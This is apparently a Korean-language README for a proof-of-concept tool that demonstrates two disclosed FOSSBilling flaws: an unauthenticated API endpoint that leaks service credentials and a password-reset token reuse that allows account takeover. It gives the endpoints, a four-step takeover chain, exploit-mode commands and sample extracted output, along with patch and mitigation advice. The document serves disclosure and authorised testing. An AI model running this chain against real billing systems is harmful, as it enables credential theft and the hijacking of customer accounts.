
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — 인증되지 않은 API 키 노출 및 비밀번호 재설정 토큰 재사용
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
제작: 7megaumka7
FOSSBilling ≤ 0.7.2에서 인정된 두 가지 GitHub Security Advisory 취약점을 위한 PoC 도구입니다.
FOSKiller는 오픈소스 청구 및 클라이언트 관리 플랫폼인 FOSSBilling의 두 가지 보안 취약점을 시연하는 개념 증명 도구입니다. 두 취약점 모두 GitHub Security Advisory 프로그램을 통해 책임 있게 공개되었으며, FOSSBilling **0.7.3+**에서 완전히 패치되었습니다.
이 도구는 다음을 위해 사용됩니다:
| 권고 | CVE | 유형 | CVSS | 영향받는 버전 |
|---|---|---|---|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | 인증되지 않은 API 키 설정 노출 | 6.9 보통 | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | 비밀번호 재설정 토큰 재사용 → 계정 탈취 | 7.7 높음 | >= 0.5.6, <= 0.7.2 |
게스트 엔드포인트 /api/guest/serviceapikey/get_info는 인증 없이 전체 서비스 구성을 반환합니다
— 여기에는 custom_* 필드, API 자격 증명, 호스트 이름 및 비밀번호가 포함됩니다.
유효한 API 키를 알고 있거나 열거한 공격자는 공개 엔드포인트에서 전체 백엔드 서비스 구성을 검색할 수 있습니다.
영향: 서비스 자격 증명, 내부 호스트 이름, API 비밀 노출.
클라이언트가 동일한 계정에 대해 연속으로 두 번의 비밀번호 재설정을 트리거하면 애플리케이션은 새 토큰을 발급하지만 이전 토큰을 무효화하지 않습니다. 이전에 첫 번째 토큰을 캡처한 공격자는 합법적인 사용자가 자신의 재설정 흐름을 완료한 후에도 해당 토큰을 사용하여 새 비밀번호를 설정할 수 있습니다.
공격 체인:
1. 공격자가 POST /api/guest/client/reset_password 트리거 → 토큰 T1 캡처
2. 피해자가 자신의 재설정 트리거 → 앱이 T2 발급, T1은 유효 상태 유지
3. 공격자가 선택한 비밀번호로 POST /api/guest/client/update_password?hash=T1 호출
4. 피해자의 재설정 완료 여부와 관계없이 공격자가 지속적인 접근 권한 획득
영향: 재설정 이메일을 가로챌 수 있는 모든 클라이언트의 지속적인 계정 탈취.
종속성이 누락된 경우 스크립트는 시작 시 이를 감지하고 자동으로 설치하도록 제안합니다.
저장소 클론 및 종속성 설치:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
또는 사전 설치 없이 실행 — 스크립트는 첫 실행 시 누락된 패키지를 설치할지 묻습니다.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
| 플래그 | 필수 | 설명 |
|---|---|---|
--target URL | 예 | FOSSBilling 인스턴스의 기본 URL |
--key KEY | CVE-2026-53647의 경우 | 테스트할 API 키 |
--email EMAIL | CVE-2026-53646의 경우 | 테스트할 클라이언트 이메일 |
--check-only | 아니요 | 탐지 모드 — 데이터를 추출하지 않고 취약점 확인 |
--exploit | 아니요 | 전체 추출 + 공격 체인 문서화 |
--force | 아니요 | 버전 범위 확인 건너뛰기 |
--output FILE | 아니요 | 전체 결과를 JSON 파일로 저장 |
--timeout SEC | 아니요 | HTTP 타임아웃 (초) (기본값: 10) |
--proxy URL | 아니요 | HTTP 프록시 (예: http://127.0.0.1:8080) |
--check-only와 --exploit은 상호 배타적입니다.
| 모드 | 플래그 | 기능 |
|---|---|---|
| 탐지 | --check-only | 취약점 존재 여부를 확인합니다. 민감한 값을 표시하거나 추출하지 않습니다. |
| 기본 | (모드 플래그 없음) | 상태를 확인하고 기본 증거를 표시합니다. |
| 익스플로잇 | --exploit | 유출된 모든 필드를 추출하며, 타임스탬프 메타데이터를 포함한 전체 계정 탈취 체인을 문서화합니다. |
데이터 추출 없이 두 CVE 탐지만 수행:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
전체 추출 및 공격 체인 문서화:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
결과를 JSON으로 저장하고 Burp Suite를 통해 라우팅:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
알 수 없거나 이미 패치된 버전 테스트:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Probing https://billing.example.com …
[+] Detected version: 0.7.1
[+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES
[+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES
── CVE-2026-53647 │ Unauthenticated API Key Config Disclosure ─────────
[*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Mode : Full extraction
[*] HTTP : 200
[+] VULNERABLE — endpoint returned 4 sensitive field(s) without authentication
Field Value
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [REDACTED IN THIS EXAMPLE]
custom_api_secret [REDACTED IN THIS EXAMPLE]
── CVE-2026-53646 │ Password Reset Token Reuse / Account Takeover ─────
[*] Sending reset request #1 …
[*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z
[*] Sending reset request #2 (same email) …
[*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z
[*] Time delta between requests : 0.643s
[!] Both reset requests succeeded — endpoint accepts repeated resets without rate-limiting.
── Summary ─────────────────────────────────────────────────────────────
CVE GHSA Severity Status
──────────────────────────────────────────────────────────────────────────────────
CVE-2026-53647 GHSA-737q-9gpr-6mpq Moderate (CVSS 6.9) VULNERABLE
CVE-2026-53646 GHSA-vp66-w6rc-x32p High (CVSS 7.7) POTENTIALLY_VULNERABLE
FOSSBilling >= 0.7.3으로 업그레이드하면 두 취약점이 모두 해결됩니다.
즉시 패치가 불가능한 경우:
| CVE | 임시 완화 조치 |
|---|---|
| CVE-2026-53647 | 웹 서버 또는 WAF 수준에서 /api/guest/serviceapikey/에 대한 접근 차단 |
| CVE-2026-53646 | 재발급 시 토큰 무효화 구현; 재설정 엔드포인트에 속도 제한 추가 |
두 취약점 모두 본 게시물 이전에 GitHub Security Advisory 프로그램을 통해 FOSSBilling 유지관리자에게 보고되었습니다.
이 도구는 교육 목적과 승인된 보안 테스트 전용으로 제공됩니다.
본 도구는 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템에 대해서만 사용하십시오. 제3자 시스템에 대한 무단 사용은 미국의 Computer Fraud and Abuse Act (CFAA), 영국의 Computer Misuse Act 및 전 세계의 동등한 법률에 따라 불법입니다.
저자는 이 도구의 사용으로 인해 발생하는 오용, 손해 또는 법적 결과에 대해 책임을 지지 않습니다. 이 도구를 사용함으로써 귀하는 귀하의 행동에 대한 전적인 책임이 있음에 동의합니다.
연구자 및 저자: 7megaumka7
취약점 발견, 분석, 책임 있는 공개 및 도구 개발.